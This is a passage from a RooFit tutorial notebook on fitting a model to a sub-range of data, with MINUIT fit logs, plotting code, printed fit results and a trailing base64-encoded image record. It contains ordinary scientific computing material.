1\n**********\n**********\n**********\nPARAMETER DEFINITIONS:\nNO. NAME VALUE STEP SIZE LIMITS\n1 f 5.04406e-01 6.32281e-03 0.00000e+00 1.00000e+00\n2 mx -2.16053e-02 1.77430e-02 -1.00000e+01 1.00000e+01\n**********\n** 12 **SET ERR 0.5\n**********\n**********\n** 13 **SET PRINT 1\n**********\n**********\n** 14 **SET STR 1\n**********\nNOW USING STRATEGY 1: TRY TO BALANCE SPEED AGAINST RELIABILITY\n**********\n**********\nFIRST CALL TO USER FUNCTION AT NEW START POINT, WITH IFLAG=4.\nSTART MIGRAD MINIMIZATION. STRATEGY 1. CONVERGENCE WHEN EDM .LT. 1.00e-03\nFCN=10339.9 FROM MIGRAD STATUS=INITIATE 6 CALLS 7 TOTAL\nEDM= unknown STRATEGY= 1 NO ERROR MATRIX\nEXT PARAMETER CURRENT GUESS STEP FIRST\nNO. NAME VALUE ERROR SIZE DERIVATIVE\n1 f 5.04406e-01 6.32281e-03 1.26465e-02 2.65620e+01\n2 mx -2.16053e-02 1.77430e-02 1.77431e-03 -2.76970e+00\nERR DEF= 0.5\nMIGRAD WILL VERIFY CONVERGENCE AND ERROR MATRIX.\nCOVARIANCE MATRIX CALCULATED SUCCESSFULLY\nFCN=10339.5 FROM MIGRAD STATUS=CONVERGED 28 CALLS 29 TOTAL\nEDM=3.38795e-07 STRATEGY= 1 ERROR MATRIX ACCURATE\nEXT PARAMETER STEP FIRST\nNO. NAME VALUE ERROR SIZE DERIVATIVE\n1 f 4.90142e-01 1.61947e-02 2.27369e-03 1.69088e-02\n2 mx -2.17006e-02 1.79160e-02 1.25822e-04 1.06356e-01\nERR DEF= 0.5\nEXTERNAL ERROR MATRIX. NDIM= 25 NPAR= 2 ERR DEF=0.5\n2.624e-04 3.238e-06\n3.238e-06 3.210e-04\nPARAMETER CORRELATION COEFFICIENTS\nNO. GLOBAL 1 2\n1 0.01116 1.000 0.011\n2 0.01116 0.011 1.000\n**********\n** 16 **SET ERR 0.5\n**********\n**********\n** 17 **SET PRINT 1\n**********\n**********\n** 18 **HESSE 1000\n**********\nCOVARIANCE MATRIX CALCULATED SUCCESSFULLY\nFCN=10339.5 FROM HESSE STATUS=OK 10 CALLS 39 TOTAL\nEDM=3.38988e-07 STRATEGY= 1 ERROR MATRIX ACCURATE\nEXT PARAMETER INTERNAL INTERNAL\nNO. NAME VALUE ERROR STEP SIZE VALUE\n1 f 4.90142e-01 1.61948e-02 9.09474e-05 -1.97171e-02\n2 mx -2.17006e-02 1.79161e-02 2.51643e-05 -2.17006e-03\nERR DEF= 0.5\nEXTERNAL ERROR MATRIX. NDIM= 25 NPAR= 2 ERR DEF=0.5\n2.624e-04 3.402e-06\n3.402e-06 3.210e-04\nPARAMETER CORRELATION COEFFICIENTS\nNO. GLOBAL 1 2\n1 0.01172 1.000 0.012\n2 0.01172 0.012 1.000\n[#1] INFO:Minization -- RooMinimizer::optimizeConst: deactivating const optimization\n\n\n## Plot/print results¶\n\nMake plot frame in x and add data and fitted model\n\nIn :\nframe = x.frame(ROOT.RooFit.Title(\"Fitting a sub range\"))\nmodelData.plotOn(frame)\nmodel.plotOn(\nframe, ROOT.RooFit.Range(\"Full\"), ROOT.RooFit.LineStyle(\nROOT.kDashed), ROOT.RooFit.LineColor(\nROOT.kRed)) # Add shape in full ranged dashed\nmodel.plotOn(frame) # By default only fitted range is shown\n\nOut:\n<cppyy.gbl.RooPlot object at 0x8128680>\n[#1] INFO:Plotting -- RooAbsPdf::plotOn(model) p.d.f was fitted in a subrange and no explicit NormRange() was specified. Plotting / normalising in fit range. To override, do one of the following\n- Clear the automatic fit range attribute: <pdf>.setStringAttribute(\"fitrange\", nullptr);\n- Explicitly specify the plotting range: Range(\"<rangeName>\").\n- Explicitly specify where to compute the normalisation: NormRange(\"<rangeName>\").\nThe default (full) range can be denoted with Range(\"\") / NormRange(\"\").\n[#0] ERROR:Plotting -- Range 'Full' not defined for variable 'x'. Ignoring ...\n[#1] INFO:Plotting -- RooAbsPdf::plotOn(model) only plotting range 'Full'\n[#1] INFO:Plotting -- RooAbsPdf::plotOn(model) p.d.f. curve is normalized using explicit choice of ranges 'fit_nll_model_modelData'\n[#1] INFO:Plotting -- RooAbsPdf::plotOn(model) p.d.f was fitted in a subrange and no explicit Range() and NormRange() was specified. Plotting / normalising in fit range. To override, do one of the following\n- Clear the automatic fit range attribute: <pdf>.setStringAttribute(\"fitrange\", nullptr);\n- Explicitly specify the plotting range: Range(\"<rangeName>\").\n- Explicitly specify where to compute the normalisation: NormRange(\"<rangeName>\").\nThe default (full) range can be denoted with Range(\"\") / NormRange(\"\").\n[#1] INFO:Plotting -- RooAbsPdf::plotOn(model) only plotting range 'fit_nll_model_modelData'\n[#1] INFO:Plotting -- RooAbsPdf::plotOn(model) p.d.f. curve is normalized using explicit choice of ranges 'fit_nll_model_modelData'\n\n\nPrint fit results\n\nIn :\nprint(\"result of fit on all data \")\nr_full.Print()\nprint(\"result of fit in in signal region (note increased error on signal fraction)\")\nr_sig.Print()\n\nresult of fit on all data\nresult of fit in in signal region (note increased error on signal fraction)\n\nRooFitResult: minimized FCN value: 25939.4, estimated distance to minimum: 7.58116e-06\ncovariance matrix quality: Full, accurate covariance matrix\nStatus : MINIMIZE=0 HESSE=0\n\nFloating Parameter FinalValue +/- Error\n-------------------- --------------------------\nf 5.0441e-01 +/- 6.32e-03\nmx -2.1605e-02 +/- 1.77e-02\n\nRooFitResult: minimized FCN value: 10339.5, estimated distance to minimum: 3.38988e-07\ncovariance matrix quality: Full, accurate covariance matrix\nStatus : MINIMIZE=0 HESSE=0\n\nFloating Parameter FinalValue +/- Error\n-------------------- --------------------------\nf 4.9014e-01 +/- 1.62e-02\nmx -2.1701e-02 +/- 1.79e-02\n\n\n\nDraw frame on canvas\n\nIn :\nc = ROOT.TCanvas(\"rf203_ranges\", \"rf203_ranges\", 600, 600)\nframe.GetYaxis().SetTitleOffset(1.4)\nframe.Draw()\n\nc.SaveAs(\"rf203_ranges.png\")\n\nInfo in <TCanvas::Print>: png file rf203_ranges.png has been created\n\n\nDraw all canvases\n\nIn :\nfrom ROOT import gROOT\ngROOT.GetListOfCanvases().Draw()", null, "" ]

[ null, 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